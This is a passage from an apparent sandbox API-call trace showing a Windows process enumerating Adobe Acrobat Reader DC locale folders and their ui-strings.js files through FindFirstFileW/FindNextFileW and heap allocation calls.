hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.698] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.698] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.698] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.699] GetProcessHeap () returned 0xc10000 [0262.699] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.699] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0262.699] GetProcessHeap () returned 0xc10000 [0262.699] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.700] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.700] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.700] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.700] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.701] GetProcessHeap () returned 0xc10000 [0262.701] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.701] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0262.701] GetProcessHeap () returned 0xc10000 [0262.701] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0262.716] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.716] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.716] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.716] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.717] GetProcessHeap () returned 0xc10000 [0262.717] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.717] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0262.717] GetProcessHeap () returned 0xc10000 [0262.717] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.728] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.728] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.728] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.728] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.728] GetProcessHeap () returned 0xc10000 [0262.728] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.728] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0262.728] GetProcessHeap () returned 0xc10000 [0262.728] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.729] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.729] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.729] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.729] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.729] GetProcessHeap () returned 0xc10000 [0262.730] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.730] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0262.730] GetProcessHeap () returned 0xc10000 [0262.730] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.731] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.731] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.731] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.731] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.731] GetProcessHeap () returned 0xc10000 [0262.732] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.732] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0262.732] GetProcessHeap () returned 0xc10000 [0262.732] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.732] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.732] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.732] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.732] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.733] GetProcessHeap () returned 0xc10000 [0262.733] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.733] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0262.733] GetProcessHeap () returned 0xc10000 [0262.733] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0262.734] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.734] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.734] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.734] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.735] GetProcessHeap () returned 0xc10000 [0262.735] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.735] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0262.735] GetProcessHeap () returned 0xc10000 [0262.735] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.735] FindFirstFileW (in: 